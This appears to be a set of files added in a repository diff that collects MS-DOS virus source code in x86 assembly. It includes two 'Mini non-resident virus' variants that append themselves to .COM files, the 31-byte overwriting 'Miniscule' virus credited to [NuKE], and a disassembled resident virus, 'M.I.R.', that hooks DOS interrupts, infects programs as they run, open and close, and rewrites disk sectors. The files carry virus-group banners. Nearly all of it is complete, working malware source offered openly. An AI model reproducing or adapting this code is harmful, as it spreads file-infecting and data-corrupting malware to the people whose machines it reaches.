; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+100
View File
@@ -0,0 +1,100 @@
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN equ end - start
FILNAM equ 55h
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
org 100h
begin: db 0E9, 3, 0
;****************************************************************************
;* Begin of the virus
;****************************************************************************
start: db 0CDh, 20h, 90
push si ;si=0100
mov di,si
add si,[si+1] ;si=0103
push si
movsw
movsb
pop si ;si -> start (buffer)
lea dx,[si+FILNAM] ;dx -> filename
mov ah,4Eh ;find first file
int 21
mov dx,009Eh
mov ax,3D02h ;open the file
call int21
jc exit1
xchg bx,ax
mov ah,3fh ;read begin of file
int 21
cmp byte ptr [si],0E9h ;infected COM?
je exit2
mov al,2 ;go to end of file
call seek
xchg ax,di
mov cl, low FILELEN ;write program to end of file
mov ah,40h
int 21
mov al,0
call seek
mov byte ptr [si], 0E9h
mov word ptr [si+1], di
mov ah,40h
int 21
exit2: mov ah,3Eh ;close the file
int 21
exit1: ret
seek: mov ah,42
cwd
int21: xor cx,cx
int 21
mov cl,03
mov dx,si
return: ret
;****************************************************************************
;* Data
;****************************************************************************
filename db '*.COM',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+104
View File
@@ -0,0 +1,104 @@
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN equ end - start
FILNAM equ 5C
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
org 100h
begin: db 4Dh
db 0E9, 4, 0
;****************************************************************************
;* Begin of the virus
;****************************************************************************
start: db 0CDh, 20h, 0, 0
push si ;si=0100
mov di,si
add si,[si+2] ;si=0104
push si
movsw
movsw
pop si ;si -> start (buffer)
lea dx,[si+FILNAM] ;dx -> filename
mov ah,4Eh ;find first file
infloop: int 21
jc return
mov dx,009Eh
mov ax,3D02h ;open the file
call int21
jc exit1
xchg bx,ax
mov ah,3fh ;read begin of file
int 21
cmp byte ptr [si],4Dh ;EXE or infected COM?
je exit2
mov al,2 ;go to end of file
call seek
xchg ax,di
mov cl,low FILELEN ;write program to end of file
mov ah,40h
int 21
mov al,0
call seek
mov word ptr [si],0E94Dh
mov word ptr [si+2],di
mov ah,40h
int 21
exit2: mov ah,3Eh ;close the file
int 21
exit1: mov ah,4Fh ;find next file
jmp short infloop
seek: mov ah,42
cwd
int21: xor cx,cx
int 21
mov cl,04
mov dx,si
return: ret
;****************************************************************************
;* Data
;****************************************************************************
filename db '*.COM',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+104
View File
@@ -0,0 +1,104 @@
;****************************************************************************
;* Mini non-resident virus
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN equ end - start
FILNAM equ 5Dh
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
org 100h
begin: db 4Dh
db 0E9, 4, 0
;****************************************************************************
;* Begin of the virus
;****************************************************************************
start: db 0CDh, 20h, 0, 0
push si ;si=0100
mov di,si
add si,[si+2] ;si=0104
push si
movsw
movsw
pop si ;si -> start (buffer)
lea dx,[si+FILNAM] ;dx -> filename
mov ah,4Eh ;find first file
infloop: int 21
jc return
mov dx,009Eh
mov ax,3D02h ;open the file
call int21
jc exit1
xchg bx,ax
mov ah,3fh ;read begin of file
int 21
cmp byte ptr [si],4Dh ;EXE or infected COM?
je exit2
mov al,2 ;go to end of file
call seek
xchg ax,di
mov cx,FILELEN ;write program to end of file
mov ah,40h
int 21
mov al,0
call seek
mov word ptr [si],0E94Dh
mov word ptr [si+2],di
mov ah,40h
int 21
exit2: mov ah,3Eh ;close the file
int 21
exit1: mov ah,4Fh ;find next file
jmp short infloop
seek: mov ah,42
cwd
int21: xor cx,cx
int 21
mov cl,04
mov dx,si
return: ret
;****************************************************************************
;* Data
;****************************************************************************
filename db '*.COM',0
end:
cseg ends
end begin

; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> ReMeMbEr WhErE YoU sAw ThIs pHile fIrSt <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄ> ArReStEd DeVeLoPmEnT +31.77.SeCrEt H/p/A/v/AV/? <ÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
+77
View File
@@ -0,0 +1,77 @@
; Miniscule: the world's smallest generic virus (only 31 bytes long!)
; (C) 1992 Nowhere Man and [NuKE] WaReZ
; Written on January 22, 1991
code segment 'CODE'
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
; Find the name of the first file and return it in the DTA. No checking
; is done for previous infections, and ANY file (except directory "files")
; will be infected, including data, texts, etc. So either a file is corrupted
; (in the case of data or text) or infected (.EXE and .COM files). Files that
; have the read-only flag set are immune to Miniscule.
mov ah,04Eh ; DOS find first file function
mov cl,020h ; CX holds attribute mask
mov dx,offset star_dot_com ; DX points to the file mask
int 021h
; Open the file that we've found for writing only and put the handle into
; BX (DOS stupidly returns the file handle in AX, but all other DOS functions
; require it to be in AX, so we have to move it).
mov ax,03D01h ; DOS open file function, w/o
mov dx,009Eh ; DX points to the found file
int 021h
xchg bx,ax ; BX holds the file handle
; Write the virus to the file. The first 31 bytes at offset 0100h (ie: the
; virus) are written into the beginning of the victim. No attempt is made
; to preserve the victim's executability. This also destroys the file's date
; and time, making Miniscule's activity painfully obvious. Also, if the
; victim is smaller than 31 bytes (rare), then it will grow to exactly 31.
mov ah,040h ; DOS write to file function
dec cx ; CX now holds 01Fh (length)
mov dx,offset main ; DX points to start of code
int 021h
; Exit. I chose to use a RET statement here to save one byte (RET is one byte
; long, INT 020h is two), so don't try to compile this as an .EXE file; it
; will crash, as only .COMs RETurn correctly (DOS again). However INFECTED
; .EXE programs will run successfully (unless they are larger than 64k, in
; which case DOS will refuse to run it.
ret ; RETurn to DOS
main endp
; The only data required in this program, and it's only four bytes long. This
; is the file mask that the DOS find first file function will use when
; searching. Do not change this to .EXE (or whatever) because this virus
; is size dependent (if you know what you're doing, go ahead [at you're own
; risk]).
star_dot_com db "*.*",0 ; File search mask
finish label near
code ends
end main
; There you have it: thirty-one bytes of pure terror -- NOT! As you can
; pretty well guess, this virus is very lame. Due to its poor reproduction,
; it is hardly a threat (hitting one file, if you're lucky), but it works,
; and it fits the definition of a virus. There is no way to make this code
; any smaller (at least under MS-DOS), except if you made it only infect
; one specific file (and the file would have to have a one- or two-byte name,
; too), and that would be next to useless.
+830
View File
@@ -0,0 +1,830 @@
; File: MIR.COM
; File Type: COM
; Processor: 8086/87/88
; Range: 00100h to 007d3h
; Memory Needed: 2 Kb
; Initial Stack: 0000:fffe
; Entry Point: 0000:0100
; Subroutines: 11
.radix 16
cseg segment para public 'CODE'
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
org 0100h
; >>>> starts execution here <<<<
o00100 proc far
;-----------------------------------------------------
o00100 db 'M.' ;0000:0100
d00102 db 'I.R.' ;0000:0102
d00106 db ' *-*-*-* Sign of the ' ;0000:0106
db 'time!' ;0000:011b
db 00 ;0000:0120 .
;-----------------------------------------------------
nop
nop
nop
nop
pop dx
m00126: mov bx,es
add bx,10h
add bx,WORD PTR cs:[si+06c8h]
mov WORD PTR cs:[si+0053h],bx
mov bx,WORD PTR cs:[si+06c6h]
mov WORD PTR cs:[si+0051h],bx
mov bx,es
add bx,10h
add bx,WORD PTR cs:[si+06cch]
mov ss,bx
mov sp,WORD PTR cs:[si+06cah]
jmp 0000:0000
m00155: mov di,0100h
add si,06ceh
movsb ;Mov DS:[SI]->ES:[DI]
movsw ;Mov DS:[SI]->ES:[DI]
mov sp,WORD PTR [d00006]
xor bx,bx ;Load register w/ 0
push bx
jmp WORD PTR [si-0bh]
call s1 ;<0016b>
o00100 endp
;<0016b>
s1 proc near
pop si
sub si,006bh
cld ;Forward String Opers
nop
cmp WORD PTR cs:[si+06ceh],5a4dh
jz b0018b ;Jump if equal (ZF=1)
cli ;Turn OFF Interrupts
nop
mov sp,si
add sp,07d1h
sti ;Turn ON Interrupts
nop
cmp sp,WORD PTR [d00006]
jnb m00155 ;Jump if >= (no sign)
b0018b: push ax
push es
nop
push si
push ds
mov di,si
xor ax,ax ;Load register w/ 0
nop
push ax
mov ds,ax
les ax,DWORD PTR [d0004c]
nop
mov WORD PTR cs:[si+06bdh],ax
mov WORD PTR cs:[si+06bfh],es
mov WORD PTR cs:[si+06b8h],ax
nop
mov WORD PTR cs:[si+06bah],es
mov ax,WORD PTR [d00102]
cmp ax,0f000h
nop
jnz b00235 ;Jump not equal(ZF=0)
mov WORD PTR cs:[si+06bah],ax
mov ax,WORD PTR [o00100]
mov WORD PTR cs:[si+06b8h],ax
nop
mov dl,80h
mov ax,WORD PTR [d00106]
cmp ax,0f000h
jz b001f2 ;Jump if equal (ZF=1)
nop
cmp ah,0c8h
jb b00235 ;Jump if < (no sign)
cmp ah,0f4h
jnb b00235 ;Jump if >= (no sign)
nop
test al,7fh ;Flags=Arg1 AND Arg2
jnz b00235 ;Jump not equal(ZF=0)
mov ds,ax
cmp WORD PTR [d00000],0aa55h
nop
jnz b00235 ;Jump not equal(ZF=0)
mov dl,BYTE PTR [d00002]
b001f2: mov ds,ax
xor dh,dh ;Load register w/ 0
mov cl,09
shl dx,cl ;Multiply by 2's
mov cx,dx
xor si,si ;Load register w/ 0
b001fe: lodsw ;Load AX with DS:[SI]
cmp ax,0fa80h
jnz b0020c ;Jump not equal(ZF=0)
lodsw ;Load AX with DS:[SI]
cmp ax,7380h
jz b00217 ;Jump if equal (ZF=1)
jnz b00221 ;Jump not equal(ZF=0)
b0020c: cmp ax,0c2f6h
jnz b00223 ;Jump not equal(ZF=0)
lodsw ;Load AX with DS:[SI]
cmp ax,7580h
jnz b00221 ;Jump not equal(ZF=0)
b00217: inc si
lodsw ;Load AX with DS:[SI]
cmp ax,40cdh
jz b00228 ;Jump if equal (ZF=1)
sub si,03
b00221: dec si
dec si
b00223: dec si
loop b001fe ;Dec CX;Loop if CX>0
jmp short b00235
b00228: sub si,07
mov WORD PTR cs:[di+06bdh],si
mov WORD PTR cs:[di+06bfh],ds
b00235: mov si,di
pop ds
push cs
pop ds
cmp ax,02fah
jnz b0025c ;Jump not equal(ZF=0)
xor di,di ;Load register w/ 0
mov cx,06b8h
b00252: lodsb ;Load AL with DS:[SI]
scasb ;Flags = AL - ES:[DI]
jnz b0025c ;Jump not equal(ZF=0)
loop b00252 ;Dec CX;Loop if CX>0
pop es
jmp m002e9
b0025c: pop es
mov ah,49h
int 21h ;undefined
mov bx,0ffffh
mov ah,48h
int 21h ;undefined
sub bx,00e0h
jb m002e9 ;Jump if < (no sign)
mov cx,es
stc
adc cx,bx
mov ah,4ah
int 21h ;undefined
mov bx,00dfh
stc
sbb WORD PTR es:[d00002],bx
push es
mov es,cx
mov ah,4ah
int 21h ;undefined
mov ax,es
dec ax
mov ds,ax
mov WORD PTR [d00001],0008h
call s11 ;<007a7>
mov bx,ax
mov cx,dx
pop ds
mov ax,ds
call s11 ;<007a7>
add ax,WORD PTR [d00006]
adc dx,00
sub ax,bx
sbb dx,cx
jb b002b0 ;Jump if < (no sign)
sub WORD PTR [d00006],ax
b002b0: pop si
push si
push ds
push cs
xor di,di ;Load register w/ 0
mov ds,di
lds ax,DWORD PTR [d0009c]
mov WORD PTR cs:[si+0714h],ax
mov WORD PTR cs:[si+0716h],ds
pop ds
mov cx,071ch
repz movsb ;Mov DS:[SI]->ES:[DI]
xor ax,ax ;Load register w/ 0
mov ds,ax
pop es
m002e9: pop si
xor ax,ax ;Load register w/ 0
mov ds,ax
mov ax,WORD PTR [d0004c]
mov WORD PTR cs:[si+06c2h],ax
mov ax,WORD PTR [d0004e]
mov WORD PTR cs:[si+06c4h],ax
mov WORD PTR [d0004c],06adh
add WORD PTR [d0004c],si
mov WORD PTR [d0004e],cs
pop ds
push ds
push si
mov bx,si
lds ax,DWORD PTR [d0002a]
xor si,si ;Load register w/ 0
mov dx,si
b00319: lodsw ;Load AX with DS:[SI]
dec si
test ax,ax ;Flags=Arg1 AND Arg2
jnz b00319 ;Jump not equal(ZF=0)
add si,03
lodsb ;Load AL with DS:[SI]
sub al,41h
mov cx,0001h
push cs
pop ds
add bx,02b5h
push ax
push bx
push cx
int 25h ;undefined
pop ax
pop cx
pop bx
inc BYTE PTR [bx+0ah]
and BYTE PTR [bx+0ah],0fh
jnz b00372 ;Jump not equal(ZF=0)
mov al,BYTE PTR [bx+10h]
xor ah,ah ;Load register w/ 0
mul WORD PTR [bx+16h]
add ax,WORD PTR [bx+0eh]
push ax
mov ax,WORD PTR [bx+11h]
mov dx,0020h
mul dx
div WORD PTR [bx+0bh]
pop dx
add dx,ax
mov ax,WORD PTR [bx+08]
add ax,0040h
cmp ax,WORD PTR [bx+13h]
jb b0036f ;Jump if < (no sign)
inc ax
and ax,003fh
add ax,dx
cmp ax,WORD PTR [bx+13h]
jnb b0038b ;Jump if >= (no sign)
b0036f: mov WORD PTR [bx+08],ax
b00372: pop ax
xor dx,dx ;Load register w/ 0
push ax
push bx
push cx
int 26h ;undefined
pop ax
pop cx
pop bx
pop ax
cmp BYTE PTR [bx+0ah],00
jnz b0038c ;Jump not equal(ZF=0)
mov dx,WORD PTR [bx+08]
pop bx
push bx
int 26h ;undefined
b0038b: pop ax
b0038c: pop si
xor ax,ax ;Load register w/ 0
mov ds,ax
mov ax,WORD PTR cs:[si+06c2h]
mov WORD PTR [d0004c],ax
mov ax,WORD PTR cs:[si+06c4h]
mov WORD PTR [d0004e],ax
pop ds
pop ax
cmp WORD PTR cs:[si+06ceh],5a4dh
jnz b003af ;Jump not equal(ZF=0)
jmp m00126
b003af: jmp m00155
mov al,03
iret ;POP flags and Return
pushf ;Push flags on Stack
call s7 ;<00728>
popf ;Pop flags off Stack
jmp DWORD PTR cs:[d00714]
b003bf: mov WORD PTR cs:[d00714],dx
mov WORD PTR cs:[b00716],ds
popf ;Pop flags off Stack
iret ;POP flags and Return
b003cb: mov WORD PTR cs:[d00718],dx
mov WORD PTR cs:[d0071a],ds
popf ;Pop flags off Stack
iret ;POP flags and Return
b003d7: les bx,DWORD PTR cs:[d00714]
popf ;Pop flags off Stack
iret ;POP flags and Return
b003de: les bx,DWORD PTR cs:[d00718]
popf ;Pop flags off Stack
iret ;POP flags and Return
b003e5: call s5 ;<0050b>
call s7 ;<00728>
popf ;Pop flags off Stack
jmp DWORD PTR cs:[d00718]
;-----------------------------------------------------
db '&^%s%c' ;0000:03f1
;-----------------------------------------------------
and ax,0064h
push bp ;Get Args from Stack
mov bp,sp
push WORD PTR [bp+06]
popf ;Pop flags off Stack
pop bp ;End High Level Subr
pushf ;Push flags on Stack
call s8 ;<00732>
cmp ax,2521h
jz b003cb ;Jump if equal (ZF=1)
cmp ax,2527h
jz b003bf ;Jump if equal (ZF=1)
cmp ax,3527h
jz b003d7 ;Jump if equal (ZF=1)
cld ;Forward String Opers
cmp ax,4b00h
jz b003e5 ;Jump if equal (ZF=1)
cmp ah,3ch
jz b0042f ;Jump if equal (ZF=1)
cmp ah,3eh
jz b0046b ;Jump if equal (ZF=1)
cmp ah,5bh
jnz b00495 ;Jump not equal(ZF=0)
b0042f: cmp WORD PTR cs:[d006d1],00
jnz b004ac ;Jump not equal(ZF=0)
call s2 ;<004c2>
jnz b004ac ;Jump not equal(ZF=0)
call s7 ;<00728>
popf ;Pop flags off Stack
call s4 ;<00504>
jb b004b3 ;Jump if < (no sign)
pushf ;Push flags on Stack
push es
push cs
pop es
push si
push di
push cx
push ax
mov di,06d1h
stosw ;Store AX at ES:[DI]
mov si,dx
mov cx,0041h
b00456: lodsb ;Load AL with DS:[SI]
stosb ;Store AL at ES:[DI]
test al,al ;Flags=Arg1 AND Arg2
jz b00463 ;Jump if equal (ZF=1)
loop b00456 ;Dec CX;Loop if CX>0
mov WORD PTR es:[d006d1],cx
b00463: pop ax
pop cx
pop di
pop si
pop es
b00468: popf ;Pop flags off Stack
jnb b004b3 ;Jump if >= (no sign)
b0046b: cmp bx,WORD PTR cs:[d006d1]
jnz b004ac ;Jump not equal(ZF=0)
test bx,bx ;Flags=Arg1 AND Arg2
jz b004ac ;Jump if equal (ZF=1)
call s7 ;<00728>
popf ;Pop flags off Stack
call s4 ;<00504>
jb b004b3 ;Jump if < (no sign)
pushf ;Push flags on Stack
push ds
push cs
pop ds
push dx
mov dx,06d3h
call s5 ;<0050b>
mov WORD PTR cs:[d006d1],0000h
pop dx
pop ds
jmp short b00468
b00495: cmp ah,3dh
jz b004a4 ;Jump if equal (ZF=1)
cmp ah,43h
jz b004a4 ;Jump if equal (ZF=1)
cmp ah,56h
jnz b004ac ;Jump not equal(ZF=0)
b004a4: call s2 ;<004c2>
jnz b004ac ;Jump not equal(ZF=0)
call s5 ;<0050b>
b004ac: call s7 ;<00728>
popf ;Pop flags off Stack
call s4 ;<00504>
b004b3: pushf ;Push flags on Stack
push ds
call s9 ;<0078b>
mov BYTE PTR [d00000],5ah
pop ds
popf ;Pop flags off Stack
ret 0002h ;(far)
s1 endp
;<004c2>
s2 proc near
push ax
push si
mov si,dx
b004c6: lodsb ;Load AL with DS:[SI]
test al,al ;Flags=Arg1 AND Arg2
jz b004f3 ;Jump if equal (ZF=1)
cmp al,64h ;(d)
jz b004f3 ;Jump if equal (ZF=1)
add al,01
cmp al,2eh ;(.)
jnz b004c6 ;Jump not equal(ZF=0)
call s3 ;<004f8>
mov ah,al
call s3 ;<004f8>
cmp ax,6f76h
jz b004ee ;Jump if equal (ZF=1)
cmp ax,6578h
jnz b004f5 ;Jump not equal(ZF=0)
call s3 ;<004f8>
cmp al,65h ;(e)
jmp short b004f5
b004ee: call s3 ;<004f8>
jnz b004f5 ;Jump not equal(ZF=0)
b004f3: inc al
b004f5: pop si
pop ax
ret
s2 endp
;<004f8>
s3 proc near
lodsb ;Load AL with DS:[SI]
cmp al,43h ;(C)
jb b00503 ;Jump if < (no sign)
cmp al,59h ;(Y)
jnb b00503 ;Jump if >= (no sign)
add al,19h
b00503: ret
s3 endp
;<00504>
s4 proc near
pushf ;Push flags on Stack
call DWORD PTR cs:[d00718]
ret
s4 endp
;<0050b>
s5 proc near
push ds
push es
push si
push di
push ax
push bx
push cx
push dx
mov si,ds
xor ax,ax ;Load register w/ 0
mov ds,ax
les ax,DWORD PTR [d00090]
push es
push ax
mov WORD PTR [d00090],02b2h
mov WORD PTR [d00092],cs
les ax,DWORD PTR [d0004c]
mov WORD PTR cs:[d006c2],ax
mov WORD PTR cs:[d006c4],es
mov WORD PTR [d0004c],06adh
mov WORD PTR [d0004e],cs
push es
push ax
mov ds,si
xor cx,cx ;Load register w/ 0
mov ax,4300h
call s4 ;<00504>
mov bx,cx
and cl,0feh
cmp cl,bl
jz b0055c ;Jump if equal (ZF=1)
mov ax,4301h
call s4 ;<00504>
stc
b0055c: pushf ;Push flags on Stack
push ds
push dx
push bx
mov ax,3d02h
call s4 ;<00504>
jb b00572 ;Jump if < (no sign)
mov bx,ax
call s6 ;<0059b>
mov ah,3eh
call s4 ;<00504>
b00572: pop cx
pop dx
pop ds
popf ;Pop flags off Stack
jnb b0057e ;Jump if >= (no sign)
mov ax,4301h
call s4 ;<00504>
b0057e: xor ax,ax ;Load register w/ 0
mov ds,ax
pop WORD PTR [d0004c]
pop WORD PTR [d0004e]
pop WORD PTR [d00090]
pop WORD PTR [d00092]
pop dx
pop cx
pop bx
pop ax
pop di
pop si
pop es
pop ds
ret
s5 endp
;<0059b>
s6 proc near
spc=$
org 0006c2h
d006c2: org 0006c4h
d006c4: org 0006d1h
d006d1: org 000714h
d00714: org 000716h
d00716: org 000718h
d00718: org 00071ah
d0071a: org 00071ch
d0071c: org 00071dh
d0071d: org 00071eh
d0071e: org 000720h
d00720: org 000724h
d00724: org spc
push cs
pop ds
push cs
pop es
mov dx,071ch
mov cx,0018h
mov ah,3fh
int 21h ;undefined
xor cx,cx ;Load register w/ 0
xor dx,dx ;Load register w/ 0
mov ax,4202h
int 21h ;undefined
mov WORD PTR [d00736],dx
cmp ax,06b8h
sbb dx,00
jb b0062c ;Jump if < (no sign)
mov WORD PTR [d00734],ax
cmp WORD PTR [d0071c],5a4dh
jnz b005e0 ;Jump not equal(ZF=0)
mov ax,WORD PTR [d00724]
add ax,WORD PTR [s8 ;<00732>]
call s11 ;<007a7>
add ax,WORD PTR [d00730]
adc dx,00
mov cx,dx
mov dx,ax
jmp short b005f5
b005e0: cmp BYTE PTR [d0071c],0e9h
jnz b0062d ;Jump not equal(ZF=0)
mov dx,WORD PTR [b0071d]
add dx,0103h
jb b0062d ;Jump if < (no sign)
dec dh
xor cx,cx ;Load register w/ 0
b005f5: sub dx,68h
sbb cx,00
mov ax,4200h
int 21h ;undefined
add ax,06d1h
adc dx,00
cmp ax,WORD PTR [d00734]
jnz b0062d ;Jump not equal(ZF=0)
cmp dx,WORD PTR [d00736]
jnz b0062d ;Jump not equal(ZF=0)
mov dx,0738h
mov si,dx
mov cx,06b8h
mov ah,3fh
int 21h ;undefined
jb b0062d ;Jump if < (no sign)
cmp cx,ax
jnz b0062d ;Jump not equal(ZF=0)
xor di,di ;Load register w/ 0
b00626: lodsb ;Load AL with DS:[SI]
scasb ;Flags = AL - ES:[DI]
jnz b0062d ;Jump not equal(ZF=0)
loop b00626 ;Dec CX;Loop if CX>0
b0062c: ret
b0062d: xor cx,cx ;Load register w/ 0
xor dx,dx ;Load register w/ 0
mov ax,4202h
int 21h ;undefined
cmp WORD PTR [d0071c],5a4dh
jz b00647 ;Jump if equal (ZF=1)
add ax,091ch
adc dx,00
jz b0065e ;Jump if equal (ZF=1)
ret
b00647: mov dx,WORD PTR [d00734]
neg dl
and dx,0fh
xor cx,cx ;Load register w/ 0
mov ax,4201h
int 21h ;undefined
mov WORD PTR [d00734],ax
mov WORD PTR [d00736],dx
b0065e: mov ax,5700h
int 21h ;undefined
pushf ;Push flags on Stack
push cx
push dx
cmp WORD PTR [d0071c],5a4dh
jz b00673 ;Jump if equal (ZF=1)
mov ax,0100h
jmp short b0067a
b00673: mov ax,WORD PTR [d00730]
mov dx,WORD PTR [s8 ;<00732>]
b0067a: mov di,06c6h
stosw ;Store AX at ES:[DI]
mov ax,dx
stosw ;Store AX at ES:[DI]
mov ax,WORD PTR [d0072c]
stosw ;Store AX at ES:[DI]
mov ax,WORD PTR [d0072a]
stosw ;Store AX at ES:[DI]
mov si,071ch
movsb ;Mov DS:[SI]->ES:[DI]
movsw ;Mov DS:[SI]->ES:[DI]
xor dx,dx ;Load register w/ 0
mov cx,06d1h
mov ah,40h
int 21h ;undefined
jb b006bf ;Jump if < (no sign)
xor cx,ax
jnz b006bf ;Jump not equal(ZF=0)
mov dx,cx
mov ax,4200h
int 21h ;undefined
cmp WORD PTR [d0071c],5a4dh
jz b006c1 ;Jump if equal (ZF=1)
mov BYTE PTR [d0071c],0e9h
mov ax,WORD PTR [d00734]
add ax,0065h
mov WORD PTR [b0071d],ax
mov cx,0003h
jmp short b00716
b006bf: jmp short b0071d
b006c1: call s10 ;<007a4>
not ax
not dx
inc ax
jnz b006cc ;Jump not equal(ZF=0)
inc dx
b006cc: add ax,WORD PTR [d00734]
adc dx,WORD PTR [d00736]
mov cx,0010h
div cx
mov WORD PTR [d00730],0068h
mov WORD PTR [s8 ;<00732>],ax
add ax,006eh
mov WORD PTR [d0072a],ax
mov WORD PTR [d0072c],0100h
add WORD PTR [d00734],06d1h
adc WORD PTR [d00736],00
mov ax,WORD PTR [d00734]
and ax,01ffh
mov WORD PTR [d0071e],ax
pushf ;Push flags on Stack
mov ax,WORD PTR [d00735]
shr BYTE PTR [d00737],1 ;Divide by 2's
rcr ax,1 ;CF-->[HI .. LO]-->CF
popf ;Pop flags off Stack
jz b00710 ;Jump if equal (ZF=1)
inc ax
b00710: mov WORD PTR [d00720],ax
mov cx,0018h
b00716: mov dx,071ch
mov ah,40h
int 21h ;undefined
b0071d: pop dx
pop cx
popf ;Pop flags off Stack
jb b00727 ;Jump if < (no sign)
mov ax,5701h
int 21h ;undefined
b00727: ret
s6 endp
;<00728>
s7 proc near
spc=$
org 00072ah
d0072a: org 00072ch
d0072c: org 000730h
d00730: org spc
push ds
call s9 ;<0078b>
mov BYTE PTR [d00000],4dh
pop ds
s7 endp
;<00732>
s8 proc near
spc=$
org 000732h
d00732: org 000734h
d00734: org 000735h
d00735: org 000736h
d00736: org 000737h
d00737: org spc
push ds
push ax
push bx
push dx
xor bx,bx ;Load register w/ 0
mov ds,bx
lds dx,DWORD PTR [d00084]
cmp dx,02fah
jnz b0074e ;Jump not equal(ZF=0)
mov ax,ds
mov bx,cs
cmp ax,bx
jz b00786 ;Jump if equal (ZF=1)
xor bx,bx ;Load register w/ 0
b0074e: mov ax,WORD PTR [bx]
cmp ax,02fah
jnz b0075c ;Jump not equal(ZF=0)
mov ax,cs
cmp ax,WORD PTR [bx+02]
jz b00761 ;Jump if equal (ZF=1)
b0075c: inc bx
jnz b0074e ;Jump not equal(ZF=0)
jz b0077a ;Jump if equal (ZF=1)
b00761: mov ax,WORD PTR cs:[d00718]
mov WORD PTR [bx],ax
mov ax,WORD PTR cs:[d0071a]
mov WORD PTR [bx+02],ax
mov WORD PTR cs:[d00718],dx
mov WORD PTR cs:[d0071a],ds
xor bx,bx ;Load register w/ 0
b0077a: mov ds,bx
mov WORD PTR [d00084],02fah
mov WORD PTR [d00086],cs
b00786: pop dx
pop bx
pop ax
pop ds
ret
s8 endp
;<0078b>
s9 proc near
push ax
push bx
mov ah,62h
call s4 ;<00504>
mov ax,cs
dec ax
dec bx
b00796: mov ds,bx
stc
adc bx,WORD PTR [d00003]
cmp bx,ax
jb b00796 ;Jump if < (no sign)
pop bx
pop ax
ret
s9 endp
;<007a4>
s10 proc near
mov ax,WORD PTR [d00724]
s10 endp
;<007a7>
s11 proc near
mov dx,0010h
mul dx
ret
;-----------------------------------------------------
cmp ah,03
jnz b007c1 ;Jump not equal(ZF=0)
cmp dl,80h
jnb b007bc ;Jump if >= (no sign)
jmp 0000:0000
b007bc: jmp 0000:0000
b007c1: jmp 0000:0000
;-----------------------------------------------------
db 00,01 ;0000:07c6 ..
db 6d dup (00h) ;0000:07c8 (.)
db 0cdh,20,90,90,90,90 ;0000:07ce . ....
s11 endp
spc=$
org 000000h
d00000: org 000001h
d00001: org 000002h
d00002: org 000003h
d00003: org 000006h
d00006: org 00002ah
d0002a: org 00004ch
d00086: org 000090h
d00090: org 000092h
d00092: org 00009ch
d0009c: org 00009eh
